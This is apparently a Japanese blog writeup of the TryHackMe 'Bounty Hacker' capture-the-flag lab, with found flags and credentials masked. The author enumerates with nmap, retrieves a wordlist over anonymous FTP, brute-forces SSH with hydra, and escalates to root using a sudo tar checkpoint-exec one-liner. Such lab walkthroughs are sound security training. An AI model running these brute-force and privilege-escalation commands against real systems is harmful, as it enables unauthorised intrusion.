はまやんはまやんはまやん

hamayanhamayan's blog

Bounty Hacker 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210515164335p:plain

一部を■で隠しています。

第一段階:内部侵入

nmapする

$ nmap -sC -sV $IP
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

なるほど、gobuster回しながらポート80を見てみよう。

ポート80

特に意味のあるページには見えない。
/imagesディレクトリリスティングが発生するが、特に何ができる訳でもない。
gobusterも特に気になるレポートはしてこない。 んー、別を見てみるか。

ftp

anonymousで入れるか見てみよう。

$ ftp $IP
Name : anonymous
230 Login successful.
ftp> ls
locks.txt
task.txt
ftp> get task.txt
ftp> get locks.txt

2つファイルがあるので取ってこよう。
ユーザー名とパスワードらしきものが得られたので、これを使ってsshログインを試す。

sshログイン試行

hydraを使って総当たりする。

$ hydra -l ■■■ -P locks.txt -o out.log -e ns $IP ssh
[22][ssh] host: $IP  login: ■■■   password: ■■■■■■■■■■■

ok. これでsshログインができ、侵入成功。

$ ls
user.txt
$ cat user.txt
■■■■■■■■■■■■■■

第二段階:権限昇格

とりあえずsuidとsudoを見てみると、sudoに気になる出力がある。

$ sudo -l
User lin may run the following commands on bountyhacker:
    (root) /bin/tar

ほう。GTFOBinsで調べるとヒットする。
tar | GTFOBins
ワンライナーがありますね…

$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# id
uid=0(root) gid=0(root) groups=0(root)
# ls /root
root.txt
# cat /root/root.txt
■■■■■■■■■■■■■

これでクリア。